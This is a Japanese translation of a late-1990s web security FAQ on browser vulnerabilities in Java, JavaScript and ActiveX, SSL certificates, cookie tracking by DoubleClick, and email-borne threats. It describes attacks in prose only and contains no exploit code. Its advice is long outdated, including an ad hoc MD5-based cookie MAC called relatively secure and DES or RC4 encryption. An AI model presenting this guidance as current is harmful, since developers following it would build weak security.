ソフトウェアの基本的な弱点だけでなく、Microsoft Internet Explorerが秘密鍵を暗号化するのに使用する暗号システムのセキュリティ問題も挙げられています。 問題は不明瞭で、今後も検討を重ねる必要があり、IE のバージョンに応じて多岐にわたっています。 状況により、IEは、brute-force 方式で簡単に妨害されることが判明している 40 ビット暗号を使用して秘密鍵をエクスポートしてしまいます。 場合によっては、秘密鍵が高速の "dictionary"攻撃に弱いこともあります。詳細については、Peter Gutmann 氏 (pgut001@cs.auckland.ac.nz) の著作を参照してください。以下の URL で見ることができます。
http://www.cs.auckland.ac.nz/~pgut001/pubs/breakms.txt
暗号方式の使用は、国内外の法律によって規制されています。米国を始めとする一部の国では、 強度の高い暗号方式を使用することが法的に認められていますが、それを実装したソフトウェアを輸出することはできません。 フランスなどでは強力な暗号方式の使用は全面的に非合法となっています。
法律は急速に改正されています。私が本改版を執筆した 1998 年 12 月には、Wassenaar Arrangement の 33 ヶ国が米国と同じ暗号方式輸出規制の確立に同意しました。 ただし、SSLEAYのようなフリーソフトウェアはこうした規制から除外されているようです。
最近の米国では輸出規制が少し緩み、金融機関と通信を行う場合、またはアメリカ企業の海外支店が本社の Web サイトにアクセスする場合には強力な暗号方式を Web ブラウザで使用して良いということになりました。 こうした特例を可能にするサーバ証明書は、VeriSign から "step-up" プログラムにより入手できます。
暗号方式に関する法律や政治情勢の詳細については、 The Free Crypto Websiteを参照してください。
サーバの証明書が有効期限切れであるという類似した警告メッセージが表示されることもあります。 これは、Web マスターがサイト証明書を定期的に更新していないか、上記と同様に証明書が盗まれ悪用されていることを示しています。 この場合もやはり送信を中止するのが賢明です。
Web サイトが任意の認証機関によって署名された証明書をブラウザに提示すると、ブラウザは認証機関の署名とプリインストールされているリストの署名とを照合します。 署名がリストにあれば SSL 接続が許可され、操作を続行できます。リストにない場合はそのCA を認識できない旨が通知されます。
この場合、ブラウザに応じたオプションが使用できます。Netscape では、サイトの証明書と認証機関の署名を検閲するオプションがあります。 これを使用すると、現在のセッションに対して、または今後使用するセッションに対しても、その証明書の有効性を認識することができます。 その証明書を受諾すると、それが CA 証明書としてブラウザにインストールされ、SSL 接続が完了します。Internet Explorer にはこのオプションがありません。サイトを接続するには、CA証明書のコピーを入手してインストールしなければなりません。これについては以下で説明します。 .
未知の認証機関が署名したサイト証明書を受諾しても安全だと思いますか？ 古いブラウザをお使いでしたら、 その認証機関は合法的であってもブラウザソフトウェアがリリースされた後に参入した機関である可能性があります。 しかし悪質な CA が署名した証明書である可能性もあります。パブリック・ドメイン証明書ソフトウェアを使って、 自己署名した証明書を作成するのは難しくありません。よく確認せずにサイト証明書を受諾するようなことは決してしないでください。まず内容を検閲し、合法性について疑問があれば、認証 機関に直接 (電話で) 問い合わせてください。問い合わせ方法がすぐわからない場合は、その機関が合法的でない可能性があります。
ブラウザに新しい認証機関を登録することができます。その認証機関の証明書を示す URL を開くことで実行できます。新しい CA 証明書を登録しようとしていることを通知する警告メッセージが表示され、 本当に登録するかどうかをたずねます。操作を続行すると証明書が登録され、信頼されている認証機関のリストにその CA が表示されます。これで、その CA によって署名されたすべてのサイト証明書が信頼され、SSL 接続を行うことができます。
セキュリティ上の理由により、新しい CA 証明書を登録するときは十分注意する必要があります。 今から行おうとしていることの意味を十分理解し、その CA が信頼できるという確固たる証拠がある場合のみ行ってください。 たとえば、多くの企業では内部的な認証機関を設置してイントラネットサーバの証明書に署名しています。 あなたの上司がフロッピーディスクを渡して、その中に入っている証明書を登録するよう命じた場合は、 その証明書を受諾しても大丈夫でしょう。しかしインターネットをブラウズしているときに CA 登録ダイアログが予期しない場面で表示された場合は、すぐに作業を中止し、リモートサイトの Web マスターに通知してください。
GET リクエストを使用して送信したクエリの内容は、クエリが URL の一部として送信されるためサーバログファイルに表示されます。 しかし、POST リクエスト (記入フォームで送信する場合など) でクエリを送信した場合は、送信したデータは記録されません。 キーワード検索の内容が公開記録に表示されるのがいやな場合は、その検索スクリプトが GET と POST のどちらを使用しているかをチェックしてください。最も簡単な方法は、最初に影響のないクエリでテストしてみることです。 クエリの内容が検索した文書の URL に表示された場合は、それらはリモートサーバログにも表示されると考えてください。
Netsite / Netscapeのようなデータの暗号化を使用するサーバ / ブラウザの組み合わせは URL リクエストを暗号化します。また暗号化されたリクエストは POST リクエストとして送信されるためサーバログには表示されません。
JavaScript は Netscape Corporation が設計した HTML 言語の拡張シリーズで、Netscape Navigator バージョン 2.0 以降、および Microsoft Internet Explorer バージョン 3.0 以降で認識されます (MSでは"JScript" と呼ばれています)。 これは、ブラウザを制御するために設計された翻訳言語で、 ウィンドウの開閉、フォーム要素の処理、ブラウザ設定の調整、Java applet の実行を行うことができます。 .
JavaScript の構文は Java と似ていますが、多くの点で全く異なっています。
リモートユーザのマシンが危険にさらされないよう、いくつかのフェイルセーフ機能が Java に内蔵されています。applet を実行するとき、Java スクリプトは 「セキュリティマネージャ」 オブジェクトによって実行可能な機能を制限されます。セキュリティマネージャは通常、 applet が任意のシステムコマンドを実行したり、システムライブラリをロードしたり、 ディスクドライブなどのデバイスドライバを起動することができないようにします。 また、ユーザ指定のディレクトリにあるファイルしか読み書きできないように制限されています (HotJava ではこのディレクトリを設定できますが、Netscape ではファイルの操作は全くできません)。
applet もネットワーク内で、ダウンロード元のサーバに対する接続のみ許可されるよう制限されています。 これが重要である理由は後で説明します。
最後に、セキュリティマネージャにより Java の applet はネットワークに対する読み書きと、 ローカルディスクへの読み書きを許可されていますが、両方を行うことはできません。 Applet がユーザの私的文書を盗み見たり、その情報をサーバに返してしまう危険性を軽減するためにこのような制限が設けられています。 Netscape ではローカルファイルへの操作はすべて不可とされるため、こうした制限は今のところ意味のないものとなっています。
他にも各種のバグが発見および fix されており、著者の私見としては Java は他のアクティブ・コンテンツよりはかなり安全だと考えています。他のアクティブ・コンテンツでは、 セキュリティは、提供されていたとしても、非常に低いものです。
ただし、そうは思わないユーザもいます。たとえば Princeton のコンピュータ科学者である Edward Felten 氏は、この言語の設計そのものに根本的な問題があると考えています。彼が1996 年に作成した Java Security: From HotJava to Netscape and Beyondというレポートが 1996 年 IEEE Symposium on Security and Privacy で公表されていますが、 そこでは以下のように厳しい評価が下されています。
「我々は、現状の Java システムを安全性の高いものにするのは簡単なことではないと結論付けた。 安全性の高いシステムとするには、相当な言語の再設計、バイトコードのフォーマット、ラインタイム・システムというステップが必要だと思われる。」
セキュリティ面を懸念する人は、最も安全な方法を選び、Java の使用を完全にやめたほうがいいと思うかもしれません。 Netscape Navigator 2.0 〜 3.02 では、[オプション] -> [ネットワークの設定] -> [言語] を選択し、[Java] オプションのチェックを外すことにより、Java を使わないように設定することができます。Internet Explorer 3.02 では、[View] -> [Options] -> [Security] -> [Active Content] 画面にある [Enable Java Programs] のチェックを外してください。
Netscape および Internet Explorer のいずれも、4.0 以降のバージョンでは Java を無効にする方法が複雑になっています。 Netscape ではメニューバーの [Edit] -> [Preferences] を選択し、 [Advanced] カテゴリを選択します。次に [Enable Java] チェックボックスのチェックを外します。
IE 4.0 では、[View] -> [インターネットオプション] -> [セキュリティ] を選択してから [Internet Zone] を選択し、[Custom] 設定にします。次に [Settings...] ボタンを押し、Java 設定までスクロールダウンして [Disable Java] を選択します。 "
Netscape および Internet Explorer の各種バージョンに含まれる Java で見られた過去のセキュリティホールの一部を以下に示します。
このバグは Netscape のバージョン 2.0 および 2.01 にあり、バージョン 2.02 および 3.0x では fix されました。
このバグに関する詳細については、以下を参照してください。
http://www.cs.princeton.edu/sip
applet の動作がおかしくなった場合は、元のページを閉じてください。 ブラウザ全体を閉じる必要があるかもしれません。
applet は、それが所属するサーバとだけ通信するものと想定されています。しかし 1996 年 3 月初旬、 Steve Gibbons( mailto:sgibbo@amexdns.amex-trs.com) および Drew Dean (ddean@CS.Princeton.EDU) の両名ががそれぞれ、applet をインターネット上のあらゆるホストと通信できるようにする方法があることを発見しました。 これは重要な問題です。というのは、applet をマシンに一度ダウンロードすれば、たとえファイアウォールで保護されていても、 ユーザの LAN 上のすべてのマシンと通信することができる、ということだからです。 一般に、LAN は外部のマシンからはアクセスできないように設定されています。 しかし、たとえばある組織の社内報サーバに applet が通信し、社内のニュースグループに向けた最新情報を取得して、 外部のホストにその情報を送信するといったことができることになります。
rsh、rlogin、および rcp などのコマンドに精通している UNIX ユーザは、こうしたバグがあると、システム間でコマンドをリモートで実行できるよう 相互を信頼している場合も危険があるということがおわかりになると思います。また、applet がネットワーク・トポロジの詳細情報を収集し、ファイアウォールで保護されたサービスを指定することもできることになります。
特定のホストとの通信を保証するDNS (ドメイン名システム) の使用についてもこのような問題点があります。 悪意ある人物が自らの DNS サーバで偽の DNS エントリを作成し、 認証されていないホストとの通信を許可されているようにJavaシステムに誤認させることができます。
Java とそのセキュリティについての詳細は、以下を参照してください。
http://java.sun.com/sfaq/
Netscape Communicator 4.5 および 4.04 〜 4.05 にあるバグは、Web ページがユーザのマシンから任意のファイルを読み込み、インターネット上に送信してしまうというものです。 システムパスワードファイルなど、ユーザの許可を得て読み込むファイルはいずれも危険です。このバグは CommunicatorのWindows 版および UNIX 版のどちらにも存在します。 電子メールに添付して送信されたものも含め、すべての HTML ページがこのバグを悪用できます。Internet Explorer については、こうした弱点が報告されていません。
このバグに関する Microsoft の説明およびそれを fix するためのパッチファイルについては、 http://www.microsoft.com/security/bulletins/ms98-015.aspを参照してください。
Windows 版 Netscape Navigator 3.04、4.07、および 4.5 では、リモートサイトがブラウザキャッシュから URL を読み込み、それによってユーザが最近アクセスしたサイトのリスト を傍受する恐れがあります。このバグについては Netscape のセキュリティノート 記載されています。Mac OS および UNIX 版には影響ありません。
こうした危険性があるということは、JavaScript対応ページで設定ファイルを開き、 そこに含まれている情報をすべてリモートサーバにアップロードすることができるということです。 これは、アクセスしたユーザの電子メールアドレスを取得したり、ユーザのネットワーク設定に関する情報を収集するのに利用される可能性があります。最も問題なのは、 ユーザの電子メールパスワードが公開されてしまうということです。通常、電子メールのパスワードは LAN のログインパスワードと同じであることが多いので、内部ネットワークへの攻撃ルートを公開してしまうも同然ということになります。
Netscape Communicator 4.04 までのバージョンにはすべてこの弱点があります。Netscape バージョン 4.05 ではこの問題が解決されています。初期のバージョンをお使いの場合は、 なるべく早くアップグレードしてください。 もちろん JavaScript を使用しないというのも効果的な方法ですし、 これなら JavaScript システムに潜むその他のバグによる問題も防ぐことができます。
このバグを発見したのはフランスのソフトウェア・コンサルタント Fernand Portela 氏です。 詳細については、氏が作成している以下のページを参照してください。
http://www.mygale.org/~nando
ドイツの コンサルタントRalf Hueskes 氏が発見したこのバグは、JavaScript を使用すると、 表示されない 1x1 ピクセル幅のフレームができるという問題と合わせて "Freiburg attack" という名前で知られています。未知のユーザがリモートサイトをブラウズすると、非表示のフレームで実行されている JavaScript プログラムがユーザのローカルマシンと既知名のファイルについてファイル共有状態をスキャンし、 それらをインターネット上のサイトにアップロードすることがあります。このバグではJavaScript がファイルを修正または破壊することはありません。Microsoft ではこのバグに対するパッチを発行しています。 以下から取り出してください。
http://www.microsoft.com/msdownload/ieplatform/ie4patch/ie4patch.htm
バグの詳細については以下を参照してください。
http://www.jabadoo.de/press/ie4_us_old.html
最もよく見られるのは、非表示のウィンドウが開かれてしまうという現象です。 ユーザにはこのウィンドウが見えないため、スクリプトを起動したページから移動した後も JavaScript プログラムが実行されていることに気づきません。あるいは、新しいブラウザ画面を開き、 ユーザにこの画面を使わせるよう仕向けるバグもあります。
これらのバググループは、いくらつぶしてもおよそ一ヶ月の間隔でまた発生するもので、 "the Bell labs bug"、"Singapore bug"、"Santa Barbara bug" などというしゃれた名前で呼ばれます。 非常に多くのパッチが作成されリリースされていますが、すべてをつぶすのは無理です。 ただし以下のブラウザは特に問題があると言われているので注意が必要でしょう。
バグの詳細については以下に記載されています。ここで更新状況とパッチコードを調べてください。
JavaScript の問題は修正されたものもありますが、そうでないものもあります。JavaScript は他のサイトからダウンロードされた文書の URL をすべて復元することはできませんが、 以下の要素のリストを盗むことはできます。
このバグの実例については、 http://stein.cshl.org/~lstein/crossframesを参照してください。 インライン画像は 1 つの文書からしかキャプチャできませんが、ユーザが表示した URL の画像はすべてキャプチャ可能で、サーバにアップロードすることができるので注意してください。
このバグは Netscape Navigator 3.0、3.01、および Netscape Communicator 4.01 で影響があり ます。4.02 および 3.03 では修正されています。Navigator 2.X または Internet Explorer では問題ありません。
リモートサーバがローカルファイルの名前を予め認識していなければ、このような問題は起こりません。 しかしそれでもこれは大きな問題です。システムパスワードなど大量の重要な情報が格納されたファイルは既知の名前を持っているからです。
Netscape Navigator 2.0、3.0、3.01、および Netscape Communicator 4.0 は、すべてのこのバグの影響を受けます。 6 月 21 日にリリースされた Netscape Communicator 4.01 には、この問題を解決するパッチが含まれています。 Netscape Navigator バージョン 3.02 でもこの問題は解消されています。これらのブラウザの最新バージョンは Netscape の Web サイトで入手できます。
http://www.osf.org/~loverso/javascript/
このような JavaScript のバグは Netscape Navigator バージョン 3.0 以降で修正されています。 ただし電子メールアドレスをキャプチャする点は例外で、バージョン 2.01 では修正されましたがバージョン 3.0 で再び発生しています。そしてバージョン 3.01 でまた修正され、 [Network & Security Options] ダイアログボックスのチェックボックスで、Navigator がユーザの名前で電子メールを送信する前に通知されるようになりました。 Microsoft Internet Explorer でも同様のオプションが [Options] 画面にあります。
Microsoft Internet Explorer 4.0 では、インターネットをより安全に使えるようにするための新機能 「セキュリティ ゾーン」ができました。しかし実際には、 "High Security" を選択していても JavaScriptがアクティブで、簡単にオフにできないようになってしまいました。 JavaScriptをオフにするには [View] -> [インターネットオプション] -> [セキュリティ] を選択し、 ここで [インターネット] を選択します。次にラジオボタンを [Custom] の位置まで移動し、 [Settings...] ボタンを押します。オプションリストをスクロールダウンし、[アクティブ スクリプト] オプションを disable にします。"
Netscape Navigator 4.0 では、前述した手順に従って Java を disable にしてください。
ActiveX のセキュリティモデルは、Java applet とはかなり異なっています。Java はapplet の動作を安全な動作に制限することでセキュリティを保護します。一方、ActiveXはコントロールを制限しません。 代わりに、ActiveX の各コントロールについて、"Authenticode"というシステムを使用して、 署名が変更または拒否されないような方法で、作成者が電子的に署名します。 電子署名はVeriSign のような信頼できる「認証機関」によって認証され、これを使用してソフトウェアパッケージを未開封と同等の状態にすることができます。 電子認証が完了すると、そのソフトウェアはウィルスに感染しておらず、他の不当なコンポーネントも含まれていないということを、 開発者が保証します。署名された ActiveX コントロールをダウンロードしてマシンがクラッシュした場合、 ユーザは少なくとも責任をどこへ求めるかについては把握できます。
このセキュリティモデルでは、コンピュータシステムのセキュリティについての責任は、 すべてユーザに委ねられています。まだ署名されていない、あるいは未知の認証機関が署名している ActiveX コントロールをダウンロードする前に、危険を示す警告メッセージがブラウザのダイアログボックスに表示されます。 ユーザは送信を中止するか、続行するかを選択することができます。
ActiveX の認証プロセスでは、Active X コントロールを匿名で配布したり、 発表後に第三者が干渉したりすることはできなくなります。しかし、コントロールが不正な動作を行わないという保証はしません。 署名および認証された ActiveX コントロールが不正な動作を見せることはめったにありませんが、可能性がないわけではありません。この点を明示す るため、ソフトウェア開発者の Fred McLain 氏(mclain@halcyon.com)が最近 Exploder という ActiveX コントロールを発表しました。署名および認証の完了しているこのコントロールは、 ダウンロードを行った Windows95 マシンを完全にシャットダウンします。 シャットダウンは、Exploder コントロールを含む HTML ページを (Microsoft Internet Explorer バージョン 3.0 以降で) ユーザが表示した後、すぐ自動的に行われます。Exploder のことを知った Microsoft および VeriSign は、協同で Fred McLain 氏の電子署名を無効にし、 証明書発行時の同意内容を同氏が覆したとクレームをつけました。そのため、Internet Explorer の新しいバージョンを実行すると、Exploder ソフトウェアの認証は無効ですというメッセージが表示されます。
Exploder は、データロスを発生させるものではありませんでしたが、もっと悪意のあるコントロールならばユーザのハードディスクを再フォーマットしたり、 ウィルスに感染させたりします。実際、非常に不当な動作を見せる ActiveX コントロールが作成され、ドイツハンブルグ市の Chaos Computer Club (CCC) がそれを配布しています。これらは未署名のコントロールなので、 デフォルト設定がなされている場合、Internet Explorer ではこのコントロールは信頼できないものだというメッセージをユーザに通知します。 しかし、Internet Explorer の制限を "Low Security" に変更した初心者ユーザや、 警告を無視してコントロールをダウンロードおよび実行したユーザは、このような攻撃に弱くなります。
一番の問題は、ユーザのコンピュータからインターネットのサーバへ秘密のコンフィギュレーション情報をそっと送信してしまったり、LAN にウィルスを散布してしまった、 Internet Explorer にパッチ処理をしてコード認証エンジンが正しく機能しなくなったといった場合に、 微妙なアクションを起こしているコントロールを見つけ出すことが困難であるということです。このようなアクションは全く、あるいは少なくとも長期間にわた って検出されることがありません。たとえ損害状況がすぐに検出されたとしても、ActiveX コントロールがダウンロードされた記録のセキュア監査追跡をInternet Explorer は行いません。 このため、システム故障の原因を突き止めるのが困難になります。
ActiveX は、Microsoft Internet Explorer の [インターネットオプション] -> [セキュリティ] で完全にオフにすることができます。"High Security" の設定を選択して完全に ActiveX を disable にするか、"Medium Security" の設定を選択して ActiveX コントロール をダウンロードおよび実行する前にユーザに通知するよう指定することができます。 コントロールを実行できるようにした場合は、認証内容を十分注意して読んでから、慎重に名前、発行元、 ダウンロード所要時間を受諾してください。この情報はディスクに保存してはいけません。 コントロールが媒体を変更または破壊する恐れがあるからです。"Low Security" オプションを設定している場合は、 署名の有無に関わらずすべての ActiveX コントロールを実行できるので、この設定はお勧めしません。
IE 4.0 では、インターネット、LAN、または事前作成したリストに掲載されている信頼のあるサイトおよび信頼のないサイトのいずれから ActiveX コントロールを入手したかによって、その動作をカスタマイズすることができます。
Cookieはこの問題を解決します。Cookieは、ブラウザが最初に接続したときに HTTP サーバがブラウザへ送信する、セッション識別子だけを示した小さな情報の断片です。 それ以後ブラウザは cookie のコピーを接続のたびにサーバへ返します。一般に、サーバは cookie を使用してユーザを認識し、複数のページを展開する 「セッション」 というマジックを見せてくれます。 Cookie は HTTP の標準仕様ではないので、一部のブラウザしかサポートしていません。 現在では、Microsoft Internet Explorer 3.0 以降および Netscape Navigator 2.0 以降でサポートされています。Cookie を利用するにあたっては、サーバおよび/またはその CGI スクリプトもそれを認識していなければなりません。
cookieには属性が含まれており、その属性をどのサーバに送信するかブラウザに伝えるものとなっています。 「ドメイン」 属性は cookie が返すべきホスト名を、「パス」 属性はドメインが有効になっている URL のパスを、 それぞれブラウザに通知します。たとえば、ドメインが "megacorp.com" でパスが "/users" であれば、 "/users" というパスで始まる URL を要求したときだけにそのcookieを"ftp.megacorp.com" および "www.megacorp.com" などの名前のホストへ返すようブラウザに通知します。セキュリティ上の理由から、".com" など最上位のドメインは設定できないようになっています。これにより、すべてのサーバに返されるような無差別の cookie が作成されることはなくなります。
しかし、論議を呼び起こす問題もあります。アクセスするたびに、ブラウザはユーザに関する情報の一部を Web サイトに残し、 インターネット上にアクセスした軌跡を作成します。 ここに残されるデータには、ユーザのマシン名および IP アドレス、使用しているブラウザのメーカー、 ユーザが実行している OS、アクセスした Web ページの URL、最後に表示したページの URL などがあります。 Cookie を使用しなければ、他のユーザがこうした軌跡をたどってブラウズに関する情報を知ることはほとんど不可能です。 これを知るには、無数にある個々のサーバログを関連させることにより、ユーザのパスを再構築しなければなりません。 Cookie を使用している場合は、一変して再構築が容易になります。
DoubleClick Networkは、 World Wide Web を使用して個人のプロフィールを作成し、 好みの設定にカスタマイズした広告バナーと共に表示するために、DoubleClick Corporation が作成したシステムです。DoubleClickの主な顧客は、自社のサービスを広告したいWebサイトです。 DoubleClick Networkのメンバーは、それぞれ他のメンバーの広告を掲載するホストとなります。 Web サイトが DoubleClick に加盟すると、サービス内容の広告が作成されて DoubleClick のサーバに送信されます。 次に、DoubleClick を示す <IMG> グラフィックを HTML ページに挿入します。ユーザがこのように修正された HTML ページの 1 つを表示させると、ブラウザが DoubleClick のサーバを呼び出してグラフィックを取り出します。 サーバは、メンバの広告の 1 つを選択してブラウザに返します。ユーザがそのページをリロードすると、 別の広告が表示されます。ユーザがグラフィックをクリックすると、広告サイトにジャンプします。現在では、 非常に多くのサイトが DoubleClick に所属しています。
ユーザからは、DoubleClick のグラフィックは他の Web 広告と何ら変わりないように見え、 グラフィックに関し特殊なことが行われている痕跡は何も見えません。しかし、重要な違いがあります。 ユーザが最初に DoubleClick サーバに接続してグラフィックを取り出すと、 サーバはブラウザに一意の識別番号を持つ cookie を割り当てます。それ以降、ユーザが DoubleClick Network と契約しているどの Web サイトに接続するときも、常にブラウザが DoubleClick サーバへその識別番号を返し、ユーザを認識できるようにします。 一定期間を経過すると、ユーザがアクセス／再アクセスしたメンバサイトのリストを DoubleClick がコンパイルし、この情報を使用してユーザの嗜好や興味に関するプロフィールを作成します。 このプロフィールを元に、ユーザが興味を持ちそうな広告を DoubleClick サーバが選択できます。 また、ユーザのプロフィールや広告効果の分析といった貴重な情報を、メンバのWebサイトにフィードバックできます。
ユーザの名前および電子メールアドレスは DoubleClick が記録する情報に含まれませんが、 大抵はブラウザが残すその他の情報だけでも、ユーザを識別するには十分です。詳細については、 「サーバのログとプライバシー」を参照してください。多くのユーザが DoubleClick で cookie を使用するのを好まないのはこのためです。DoubleClick に追跡されているかどうかを知るには、ブラウザの cookie ファイルを調べてください。 Netscapeを使用する UNIX システムでは、ユーザのホームディレクトリに ~/.netscape/cookies という名前で cookie ファイルがあります。以下のように表示される場合は、DoubleClick cookie が使用されています。
ad.doubleclick.net FALSE / FALSE 942195440 IAA d2bbd5
Windows ユーザは、C:\Programs\Netscape\Navigator ディレクトリにある cookies.txt ファイルで同様の情報を見ることができますが、Macintosh ユーザは Preferences:Netscape の System フォルダで見てください。Microsoft Internet Explorer を使用している場合は、 C:\Windows\Cookies にあるファイルを調べてください。
Netscape Navigator および Internet Explorer の現バージョンでは、サーバがブラウザに cookie を使用しようとすると必ずユーザに通知されるようにするオプションがあります。 このオプションをオンにすると、cookie を拒否するオプションも使用できます。すでに収集された cookie も手動で削除したほうが良いでしょう。最も簡単なのは、すべての cookie ファイルを削除することです。
このスキーマの欠点は、ほとんどのサーバが、最初の cookie を拒否した後も同じ cookie を繰り返し提供するということです。このため、ユーザは混乱するかもしれません。しかし、 パニックに陥る前に、ほとんどの cookie は、ユーザが Web のブラウズを行いやすくするための良心的なものであって、 プライバシーを侵害するのが目的ではないということを思い出してください。Netscape Navigator 4.0 では、ユーザが表示したメインページ以外のサイトから発行される cookie を拒否できる機能が備えられています。 これにより、良性の cookie を妨害することなく、DoubleClickのようなスキーマは排除できます。このオプションを使用するには、 [Edit] -> [Preferences] -> [Advanced] を選択し、cookie セクションから適切なラジオボタンを選択してください。
一過性の cookie (セッションをブラウズしている間だけアクティブな cookie) は許可し、 恒久的な cookie (ユーザの識別情報を長期間保存する cookie) は拒否したいと考えるユーザもいるかもしれません。 UNIX システムでは、UNIX の "bit bucket" デバイス /dev/null と cookie ファイル間でシンボリックリンクを作成することにより、 簡単にこれを実現できます。他の OS を使用している場合は、cookie を遮断するサードパーティ製品を利用しなければなりません。 この製品の代表例は以下のとおりです。
しかし、このようなシステムは慎重に利用しないと、悪質な第三者に悪用されかねません。 たとえば、packet snifferを利用すれば、ユーザがブラウザからサーバに渡した cookie を傍受し、それを使用してサイトへ自由にアクセスすることが可能です。ブラウザは、 サーバに所属する cookie を、DNS (ドメイン名システム) で判別するので、DNS を一時的に使用不可能にすることにより、 ブラウザが不良サーバへ cookie を送るよう仕向けることができます。もちろん cookie が恒久的なものなら、 ユーザの cookie データベースファイルから情報が盗み出される可能性もあります。
ここで、マルチパートトランザクションの実行中に処理状態を保存するためにセッション ID として cookie を使用しているトランザクション処理システムについて検討してみましょう。 このようなシステムの例として、企業データベース、オンライン注文システム、バンキング処理システムなど、 認証された従業員が記録内容を更新できるようなシステムが挙げられます。Cookie の傍受を防ぐ手段が講じられていない場合、 侵入者がトランザクションに介入し、許可されていない行為を実行することが可能です。
認証および処理状態保存に cookie を使用するシステムを設計するときは、cookie を傍受される可能性を考慮しなければなりません。 Cookieには、常に最小限のプライバシー情報しか含まれないようにしなければなりません。特に、 テキスト形式のユーザ名やパスワードを含むようにしてはなりません。多くのユーザが同じ Web サーバを共有する ISP 環境では、できるだけ特殊なパスを cookie に使用することが重要です。 たとえば、cookie を処理するプログラムが存在する場所の URL が http://bigISP.com/users/fred/order.cgi であれば、cookie のパスを / のような一般的なものではなく、/users/fred/order.cgi などに設定する必要があります。
できれば、cookie を使用しているユーザが、その操作を許可されているかどうかをシステム側で確認できるような情報を cookie に入れるようにしてください。一般的なスキーマでは、以下の情報を cookie に入れるようにしています。
MAC コードは、cookie のフィールドが全く改ざんされていないことを確認するためのものです。 MAC を推定する方法は各種ありますが、そのほとんどが MD5 または SHA などの一方向ハッシュアルゴリズムに従って、 cookie に含まれるデータの一意の識別特性を作成する方法です。 単純ですが比較的安全性の高い MD5 の使用例を以下に示します。
MAC = MD5("secret key " +
MD5("session ID" + "issue date" +
"expiration time" + "IP address" +
"secret key")
)
これで、ハッシュ値が cookie データに組み込まれます。後に cookie がサーバに返されたとき、 cookie の有効期限が切れていないことと、正しい IP アドレスが返されていることをソフトウェアが確認します。 次にデータフィールドから MAC を再生成し、それと cookie の MAC とを比較します。双方が一致すれば、cookie はほとんど変更されていないと判断されます。
PPerl のプログラマは、Gisle Aas 氏によりモジュールへ組み込まれたさらに高度な技術 HMAC アルゴリズムを利用することができます。これは、MD5::Digest モジュールの CPAN で取得できます。
もう１つ、DES、IDEA、RC4 などの暗号化アルゴリズムで cookie 全体を暗号化する方法があります。 暗号化アルゴリズムおよびハッシュアルゴリズムを使用するときの詳細については、本書巻末に示した、暗号方式に関する参考文献を参照してください。
非常に繊細なアプリケーションの場合、SSLの完全バージョンを使用してブラウザおよびサーバ間のチャネル全体を暗号化する必要があります。 こうすると、cookie が暗号化されるため、ネットワーク盗聴者はまず暗号を読破しない限り cookie を傍受することができません。 Cookie が、安全でないチャネル上で不注意により公開されてしまうなどの事故を避けるためには、 開発者は "secure" 属性を設定し、SSL の有効時のみブラウザから cookie が送信されるようにしなければなりません。
昔から現在にいたるまで、この質問に対する答えは一貫して「いいえ」とされ、大概の場合心配ないのですが、 このようなメールがあるかのようにみせかける悪質なチェーンメールは、今後も跡を絶たないと思われます。 典型的な例は "Good Times" メールです。このメールには「サブジェクトに "Good Times" と書かれた電子メールを受け取ったら、すぐに削除してください。このメールを開くと、 ただちにユーザのハードディスクを破壊するウィルスが起動するからです」と書かれています。 また、このメールをユーザの友人にも送信するよう促すメッセージか書かれています。
"Good Times" メールおよびその他同様のチェーンメールは、ほとんどがにせものです。 しかし、これらのメール内容を信じてしまう人も多いので、永久に転送が繰り返されていきます。 もしこのようなメールを受け取ったら、すぐに削除してください。友人やメーリングリストなどに転送してはいけません。 受け取った電子メールがいたずらかどうかわからない場合は、システム管理者またはネットワークセキュリティ管理者に問い合わせてください。
しかしやっかいなことに、単に開くだけでシステムを破壊する電子メールも実際にあります。 Netscape Communicator、Microsoft Outlook Express、Qualcomm Eudora などに組み込まれているものを含め、 新世代の電子メールソフトはすべて、ActiveX コントロールまたは JavaScript プログラムなどの「アクティブコンテント」を含むメール添付が可能になっています。 Q64およびQ65で説明したように、アクティブコンテントはユーザのプライバシーを侵害したり、 さらに重大な危害を加える各種の不当行為を行うことがあります。これらの問題が修正されるまでは、 アクティブコンテントを含む可能性のある電子メールを開くときは十分注意する必要があります。 これには HTML ページや HTML ページへのリンクも含まれます。JavaScript および ActiveX を disable にすれば、 問題の発生を免れることができます。
電子メールの危険性は他にもあります。1998 年夏、Qualcomm、Netscape、Microsoft 各社の電子メールクライアントに無数のプログラミングミスが発見されました。このミス (静的バッファ・オーバフロー関連) により、ユーザのマシンをクラッシュさせ、中身を破壊する電子メールが作成可能です。 これによる実際の被害については報告されていませんが、心配であれば、電子メールソフトのバージョンをバグが fix されたものにアップグレードしたほうがいいでしょう。詳細については、以下のセキュリティページを参照してください。
最後に、ウィルスを運ぶ文書もあるということを忘れないでください。たとえば、Microsoft Word、Excel、PowerPoint は、すべてウィルスを書くのに使用されるマクロ言語をサポートしています。 ユーザがこれらのプログラムを使用しており、このプログラムで作成された文書が添付された電子メールを受け取った場合、 添付文書を開いたときにシステムがウィルスに感染するのは十分ありうることです。最新のウィルスチェックプログラムは、 常にこれらのウィルスをとらえ、被害を防いでいます。マクロウィルスを認識するウィルスチェッカーは以下の URL にあります。
これに類似する質問は他にも多くあり、答えはすべて「はい」です。あるサイトが Web 上に公開 (パスワードで保護されていない) ページを発行した場合、他のユーザがサイトすべてをコピーし、海賊版コンテンツを使用するサーバを設定することができます。 これは非常に簡単に実行することができます。1 つのコマンドでサイト全体をコピーできる Perl の"spiders" という機能がたくさんあるのですが、Internet Explorer にも単純な spider が組み込まれているからです。 公開文書のミラーサイトを設定する場合など合法的にコピーが行われているケースもあり、（the WWW Security FAQはこの方法でミラー化されたものです。 しかし、全くの海賊行為である場合もあります。
つまり、画面に表示される内容を簡単に信じてはいけない、ということです。URL を入力 するときのタイプミスを期待して、わざと人気のあるサイトに類似した名前を付けた無関 係のサイトが多数あります。例えばhttp://www.nescape.comやhttp://www.mcrosoft.com/などです。 などです。個人情報や極秘情報を送信する前に必ず、サイトの URL を繰り返し確認するようにしてください。
一時的にドメイン名システムの「なりすまし」により、URL が不良サーバを指定するように仕向けることは、 難しいですが可能です。この場合、URL およびコンテンツの両方が正しく見えても、 通信しているサーバはユーザが考えているものと異なります。サイトが SSLを使用している場合、 そのアイデンティティを確認する手段の 1 つとして、Q58で説明したようにサイトの電子証明書を確認する方法があります。 サイトが SSL対応となっているのに SSLを使用していない場合、「なりすまし」が疑われます。
